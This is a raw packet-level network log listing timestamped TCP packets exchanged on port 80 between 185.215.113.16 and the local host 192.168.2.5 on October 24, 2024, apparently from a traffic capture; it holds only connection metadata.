Oct 24, 2024 19:30:15.169492960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169511080 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169521093 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169532061 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169544935 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169552088 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169558048 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169569969 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169581890 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169595003 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169612885 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169642925 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169646978 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169661045 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169672966 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169684887 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169693947 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169706106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169715881 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169718981 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169728041 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169729948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169750929 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169796944 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169900894 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169913054 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169924021 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169934988 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169946909 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169946909 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169960976 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169972897 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169975042 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.169989109 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.169996977 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170003891 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170018911 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170032024 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170036077 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170062065 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170063019 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170063972 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170074940 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170088053 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170137882 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170137882 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170164108 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170176029 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170186996 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170197010 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170211077 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170217991 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170222998 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170242071 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170305967 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170317888 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170326948 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170330048 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170353889 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170380116 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170403004 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170416117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170427084 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170435905 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170439005 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170458078 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170535088 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170545101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170552015 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170556068 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170568943 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170577049 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170586109 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170598984 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170608044 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170608997 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170622110 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170629025 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170634031 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170656919 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170689106 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170844078 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170856953 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170867920 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170886993 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170903921 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170917988 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170926094 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170929909 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170943022 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.170945883 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170953035 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.170979023 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171024084 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171036959 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171047926 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171058893 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171061993 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171072006 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171092987 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171125889 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171155930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171169043 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171180010 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171189070 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171200991 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171204090 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171214104 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171226978 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171226978 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171240091 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171250105 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171289921 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171329021 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171340942 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171350956 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171361923 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171375036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171386957 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171390057 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171401978 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171407938 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171428919 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171432018 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171443939 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171454906 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171457052 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171468973 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171480894 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171480894 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171488047 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171494961 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171508074 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171530962 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171570063 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171576977 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171587944 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171598911 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171610117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171622038 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171622038 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171636105 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171643972 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171648026 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171660900 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171672106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171674967 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171686888 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171706915 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171726942 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171740055 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171750069 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171761036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171773911 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171780109 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171786070 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171788931 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171798944 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171818018 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171830893 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171844006 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171852112 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171854973 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.171864033 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.171894073 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172036886 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172049046 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172060013 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172070980 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172084093 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172092915 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172096968 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172108889 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172121048 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172127008 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172135115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172137976 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172147989 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172153950 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172188044 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172199965 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172210932 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172213078 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172218084 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172224998 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172240973 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172244072 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172254086 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172265053 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172274113 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172276020 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172288895 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172292948 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172301054 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172308922 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172312975 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172327042 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172338963 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172343969 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172368050 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172379017 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172379017 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172379971 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172405958 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172420979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172431946 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172435999 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172446966 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172451019 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172473907 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172503948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172508001 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172516108 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172533989 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172539949 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172549963 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172549963 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.172571898 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.172584057 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.216639042 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.216655970 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.216666937 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.216777086 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.284037113 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.284169912 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.284257889 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.284394979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.284446001 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.284523964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.284575939 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285013914 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285028934 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285043955 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285059929 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285059929 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285074949 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285075903 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285092115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285099030 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285113096 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285128117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285131931 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285151005 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285165071 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285166025 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285172939 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285181046 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285195112 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285196066 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285208941 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285218000 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285219908 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285235882 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285235882 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285253048 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285254955 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285270929 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285279036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285294056 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285294056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285310984 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285311937 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285326958 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285330057 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285341978 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285347939 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285365105 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285418034 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285864115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285878897 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285892963 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285922050 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285947084 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.285958052 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285973072 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.285986900 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286001921 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286011934 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286037922 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286077976 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286094904 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286108971 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286112070 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286124945 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286139965 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286139965 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286155939 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286163092 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286171913 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286185026 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286187887 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286231041 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286231041 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286314964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286329031 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286343098 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286387920 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286387920 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286421061 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286442041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286454916 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286469936 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286472082 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286485910 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286494970 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286499977 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286509037 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286514044 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286550045 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286550045 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286699057 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286737919 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.286775112 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.286813974 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287034035 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287049055 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287072897 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287072897 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287090063 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287091970 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287107944 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287121058 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287128925 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287173033 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287184954 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287199020 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287204981 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287214994 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287218094 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287231922 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.287242889 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287242889 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.287249088 CEST	80	49981	185.215.113.16	192.168.2.5
